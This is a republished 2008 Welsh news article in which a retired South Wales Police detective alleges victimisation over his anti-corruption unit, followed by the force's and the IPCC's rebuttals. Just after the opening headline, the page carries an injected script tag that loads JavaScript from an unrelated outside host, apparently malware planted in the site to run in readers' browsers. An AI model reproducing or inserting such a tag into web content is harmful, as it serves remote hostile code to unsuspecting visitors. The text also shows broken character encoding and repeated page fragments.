NEWS > 06 February 2008

Article sourced from

South Wales Police, UK<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

ic Wales - United Kingdom
06 February 2008

This article appeared in the above title/site.
To view it in its entirity click this link.

South Wales Police, UK

Senior police officer claims:

A senior police officer, who was suspended from duty for three years for reasons now considered unlikely to lead to significant punishment, claims he was victimised for setting up a unit aimed at rooting out corruption and malpractice within South Wales Police.

Detective Chief Inspector Steve Christopher believes some officers were unhappy about the new unit. He says his health was badly affected by his ordeal and that a relative was asked to spy on him and provide the force with detailed personal and financial information about him. The relative refused to do so.

In conjunction with another former member of the anti-corruption unit, Mr Christopher, who retired on ill-health grounds last month, is now seeking a full investigation by the Independent Police Complaints Commission into the way he has been treated.

Last night South Wales Police issued a statement rejecting Mr Christopher�s allegations �in the strongest possible terms�.

Mr Christopher, 52, who was a serving police officer for more than 29 years, told the Western Mail, �Her Majesty�s Inspectorate of Constabulary produced a paper that was circulated to all forces, saying they should set up pro-active anti-corruption units that would be responsible for rooting out bad police officers. The vast majority of police officers have integrity, but a small percentage do not.

�I was tasked by Assistant Chief Constable Tony Rogers to research the setting up of such a unit and then I was given responsibility for establishing it. I headed it up for a year before becoming head of the force intelligence bureau, gathering intelligence on criminals, and then later head of CID for Rhondda Cynon Taf. Previously I had worked at the National Crime Faculty at Bramshill, Hampshire, and on national working parties looking at police policy.

�Our role in the professional standards pro-active unit, as it was called, was to collect intelligence and look at it in a robust manner to see if there was the need for further inquiries. Through myself, we set up a very transparent and ethical set of procedures to make sure that intelligence could be acquired but that officers were protected from a witch hunt.

�The sort of issues we were looking at ranged from criminal acts, including corruption, to breaches of the disciplinary code. We were looking at a very small percentage of officers.

�It was very hard to set the unit up � there was a lot of bad feeling. Some officers regarded us as scabs. Even quite senior officers did not see the reason for the unit. It was very difficult to recruit officers to work in it. We had to be sure they had the ability to do the kind of work we were doing, and that they were thoroughly ethical themselves. Some officers simply didn�t want to work in it.

�My research showed there had to be assurances from South Wales Police that when officers moved on from the unit, they would be put into roles where they could not be exposed to recriminations from officers who held a grudge because they may have come under investigation. I do not believe the organisation has lived up to the assurances that were given at the time. Some members of the unit have had their lives ruined.

�In 2002, after I had left the anti-corruption unit and was heading the force intelligence bureau, I was found guilty under the �politeness and tolerance� regulations after someone took umbrage at an allegedly inappropriate conversation between a female officer and myself concerning the dress of another member of staff.

�It was a trivial incident, but it was magnified out of all proportion. I pleaded guilty only because if I didn�t I would have risked being demoted with a significant loss of pay. I wasn�t happy at the way the matter was handled. More importantly, for certain senior officers, it created an unjustified disciplinary footprint for future reference, but, sadly, another female officer had to be disciplined in the process.

�On March 31, 2004, by which time I was head of CID at Ponty- pridd, my wife Babette and I were contacted by a relative, who said they had been approached by South Wales Police to infiltrate my family and get information which could discredit me. What they wanted was information about my finances, my bank accounts, my property and my associations. The relative had meetings with three officers in three different hotels, but would not do what they wanted.

�In my view, this was outrageous. I was horrified. They had absolutely no justification for doing what they did. I wondered what was the extent of the covert action being taken against me. Had they got access to my bank accounts? Were they tapping my phone? Were they following me and bugging our house?

�I wondered how many other people had been approached. What did they think I had done? I had never committed any criminal act to justify their action.

�Since I found out about this, I have never had the same view of South Wales Police � I was totally demoralised. My passion for the job had been extinguished by certain senior officers with a grudge against me.

�I was very upset and went to see the then Deputy Chief Constable, Paul Wood. He instigated an investigation conducted by the head of CID. The response I had at the end of the investigation was that I was not currently under investigation.

�After I went to see him, I was, however, put on gardening leave until the outcome, which took two or three weeks.

�I returned to work as head of CID at Pontypridd. But I now felt I was constantly under the microscope, either overtly or covertly. I would drive round roundabouts a few times to see whether I was being followed, and I limited what I said in phone calls because I may have been bugged.

�I wasn�t satisfied with the response I got from South Wales Police, so I decided to take my concerns to the Independent Police Complaints Commission. I wanted to know exactly what had gone on in terms of my being kept under surveillance, and how it was justified. Because serving police officers cannot complain to the IPCC, the complaint was made by Babette, who was able quite rightly to say that the situation was harming our family life.

�The IPCC investigation into Babette�s complaint took several months. The result was that no disciplinary action was to be taken against anyone. Very unusually, however, no information was disclosed beyond that because of what is known as the harm test. Under the Police (Complaints and Misconduct) Regulations 2004, the IPCC can refuse to disclose information if there is a real risk of the disclosure of that information causing an adverse effect and that the adverse effect would be significant. We understand this was the first time the IPCC had refused to release information by making use of that clause.

�Meanwhile, I was notified on August 12, 2004, that I was to face a disciplinary investigation following events at Penygraig Rugby Club, where a number of players were suspended by the WRU for failing to take a drugs test. In fact, I was not the senior investigating officer in the case, and was only in charge of intelligence gathering. All decisions regarding the conduct of the case had been taken by the SIO in conjunction with the senior command team in Taf division, yet I was the only officer to be investigated. I was cleared of any wrongdoing.

�On November 22, 2004, the professional standards department received a complaint from a female officer who alleged I had bullied her. This was a matter I believe should have been resolved informally at the division, but the professional standards department decided to conduct an investigation themselves.

�In my opinion, the investigation was disproportionate and discriminatory. The complaint was in my view unwarranted and had been made by someone I had told to pull their socks up in terms of their work.

�Around 90 statements were taken over a two-month period, with the vast majority being neutral, saying nothing or in my defence. I was asked by the divisional commander not to interfere in the inquiry, and I didn�t do so. On November 30 he called me in and suggested I take on another job as the complainant had alleged I had interfered in the investigation � effectively I was being offered a sideways move.

�By that time I was totally disillusioned with the way my case was being conducted. I had no confidence in the integrity of the force and it seemed to me that I was being treated unfairly by senior officers.

�On December 3, 2004, I was suspended from duty on full pay, without being given any reason. For more than three years I was paid my full salary, yet throughout the whole period I was not interviewed once and there were no disciplinary hearings.

�Unbeknown, and certainly unsolicited, to me, another former member of the internal anti-corruption unit, DC Frank Kitt, had raised concerns relating to my treatment with Her Majesty�s Inspectorate of Constabulary when they inspected South Wales Police in November 2005. After he retired in early 2007 he told me he had raised these issues, but that nothing had been done.

�I then contacted HMIC and asked why they had done nothing. They admitted they had seen Frank, but said they advised him to raise issues with the IPCC, which he � or rather his wife � did. At that time the IPCC assumed the matters were being looked at by HMIC.

�My wife Babette complained to the IPCC, but they did not want to investigate any of the allegations initially.

�Their view was that many of the people involved had left South Wales Police � one had actually joined the IPCC � that they did not want to look into matters that had been raised before and that were covered by the harm test, and that they had no remit to investigate HMIC.

�They said my best option was to lodge a complaint with South Wales Police. It was at that stage I decided I had no option but to go to Adam Price MP, with whom Frank Kitt was already in touch. Mr Price has held a meeting with the chief executive of the IPCC, who asked for us to send an account of what we are alleging. We have done that and are now waiting for her to consider our submission.

�My view is that an organisation like the IPCC, which was established to look at police wrongdoing, should have a responsibility to investigate allegations of serious wrongdoing to ensure public confidence.

�I have a bad injury to my back, and the stress of what I have endured in recent years has affected me badly, to such an extent that I recently suffered a heart attack. I have been diagnosed with �adjustment disorder�. To enable me to retire on the grounds of ill-health, I needed to be examined by a selected medical practitioner. The doctor appointed by South Wales Police who examined me said I was fit to face disciplinary action. I was very angry that he said that. I had met him specifically to be assessed for ill- health retirement. Other officers will suffer unless this is addressed. Babette has complained to the police about the way the health unit has handled my case.

�On December 4, 2007, Deputy Chief Constable Peter Vaughan decided I should be allowed to retire on ill-health grounds. In making his decision, he wrote that any sanctions in respect of what I was suspended for for three years would be �unlikely to have any real impact on his work or financial position�. In other words, it was likely I would have received no serious penalty and no demotion if a disciplinary case had been pursued against me.

�In my view the allegations were comparatively trivial for the Professional Standards Department to investigate compared to certain more serious matters that have been referred for investigation at a divisional level.

�I was suspended for three years and my health has been seriously affected for no good reason. I appreciate DCC Vaughan objectively assessing the actual reality of the situation and adopting a proportionate approach to resolve the matter � something that had not occurred previously.

�The reason I have spoken to the Western Mail is not because I want to air my grievances in public � I�m not comfortable about doing that. But I do think this should be in the public domain to show that what occurs within South Wales Police is not necessarily in the interests of the force or the public. There is a need, I believe, for much more accountability and transparency. The material I have sent to the IPCC contains the names of several serving and retired officers and staff.

�What happened robbed me of the opportunity to continue doing the job I loved. We have now moved to West Wales to get away from South Wales Police, but we still fear reprisals or unjustified intrusion of our privacy.�

Mr Christopher formally retired from the force on January 20.

Mr Christopher�s relative, who preferred not to be named, confirmed they had been asked by officers from South Wales Police to seek out personal and financial information about Mr and Mrs Christopher.

�I had three meetings with them in hotels on the outskirts of Cardiff,� the relative said. �They asked me to tell things about them that I didn�t know. They were encouraging me to go and see them around Christmas time, to find out how many houses they owned and where they got their money from, I wasn�t prepared to do that.�

Assistant Chief Constable David Morris said in response to Mr Christopher�s allegations, �South Wales Police refutes the allegations made by Mr Christopher in the strongest possible terms.

�This individual was deemed unfit to be a police officer by medical professionals and so was retired on ill health grounds after 29 years� service due to a back injury; a decision which also took account of Mr Christopher�s length of service.

�It is vitally important to highlight that the individual was assessed as fit for interview in relation to a misconduct inquiry. South Wales Police afforded every opportunity to Mr Christopher to be interviewed in relation to the allegations, which included an offer for him to provide a written response, which he failed to do.

�It is inaccurate to refer to the complaint as trivial. South Wales Police was investigating allegations of bullying, harassment and sexist behaviour which, if proved, would have amounted to gross misconduct. In addition, the victims and complainants in this case did not view the allegations they made as trivial.

�It must be made clear that the investigation into Mr Christopher would in fact still be continuing if he had not been retired on medical grounds. The decision to allow the individual to retire was entirely separate to the investigation into his conduct. In fact, under the force�s current leadership, this officer would NOT have been put in charge of the Pro-active Integrity Unit.

�The decision to allow Mr Christopher to retire was proportionate as he had completed 29 years of police service. Any disciplinary sanction which may have been imposed had proceedings continued would have had little or no effect given he was so close to retiring on a full police pension.�

Independent Police Complaints Commission Commissioner for Wales Tom Davies last night issued a statement which said, �The IPCC independently investigated complaints against South Wales Police made by Mrs Babette Christopher in 2004. This was a vigorous investigation and found there was absolutely no substance to the complaints made. The IPCC national head of investigations and myself met with Mrs Christopher and her husband, Steven, and explained the outcome of the investigation.

�At the end of its investigations the IPCC always applies a harm test to the type of information it discloses. In concluding the investigation into Mrs Christopher�s complaints the IPCC applied the harm test. It was of course open to Mrs Christopher to seek judicial review of this decision.

�The IPCC can confirm that it has passed a further complaint from Mrs Christopher to the SWP Police Authority, and to the force�s professional standards department. These complaints are currently being processed and it would be inappropriate to comment further.�

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

ic Wales - United Kingdom06 February 2008

Senior police officer claims:

EiP Comments:

ic Wales - United Kingdom
06 February 2008